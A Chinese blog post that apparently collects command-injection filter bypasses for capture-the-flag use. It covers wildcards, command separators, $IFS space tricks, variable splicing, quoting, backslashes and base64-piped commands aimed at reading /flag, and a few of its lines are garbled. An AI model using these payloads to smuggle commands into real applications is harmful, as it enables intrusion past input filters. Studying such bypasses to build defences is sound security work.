命令注入绕过姿势
2019-01-17 22:13:09
拜读了大佬的文章:巧用命令注入的N种姿势 总结一下命令注入的绕过姿势,以后遇到继续填坑。 [toc]
通配符
?
:匹配任何一个字符
1 | cat fl?? |
*
:匹配任何字符串/文本,包括空字符串
1 | cat fla* |
[....]
:匹配范围中任何一个字符 [a-z]
:匹配a-z范围中任何一个字符
1 | cat fl[abc]g |
{a,b}
:对以逗号分割的文件列表进行拓展
1 | cat fl{a,b}g |
{...}
与[...]
有一个很重要的区别。如果匹配的文件不存在,[...]
会失去模式的功能,变成一个单纯的字符串,而{...}
依然可以展开。
1 | 不存在 a.txt 和 b.txt |
命令分隔与执行多条命令
Unix
1 | 0a |
Windows
1 | 0a |
空格绕过
使用<或> cmd <> file
以读写模式把文件file重定向到输入,文件file不会被破坏。仅当应用程序利用了这一特性时,它才是有意义的。
1 | cat<flag |
IFS
是一种 set 变量,当 shell 处理”命令替换”和”参数替换”时,shell 根据 IFS 的值,默认是 space, tab, newline 来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。
1 | cat$IFS/flag |
url编码
1 | %20 |
变量控制
1 | X=$'cat\x20/flag'&&$X |
黑名单绕过
空变量
1 | ca$@t /flag |
变量替换
1 | a=c;b=at;c=flag;$a$b $c |
编码绕过
1 | echo "Y2F0IC9mbGFn"base64 -dbash |
引号
1 | c"a"t /f'l'a'g' |
反斜线
1 | c\at fl\ag |
利用已有资源与字符
1 | echo $PATH |
LINUX下一些已有字符
- ${PS2} 对应字符 ‘>’
- ${PS4} 对应字符 ‘+’
- ${IFS} 对应 内部字段分隔符
- ${任意不存在变量} 对应 空字符串